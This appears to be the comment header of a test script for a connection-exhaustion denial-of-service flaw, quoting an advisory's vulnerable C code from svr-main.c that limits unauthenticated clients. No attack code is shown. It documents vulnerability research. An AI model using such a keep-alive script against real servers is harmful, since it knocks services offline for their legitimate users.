## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
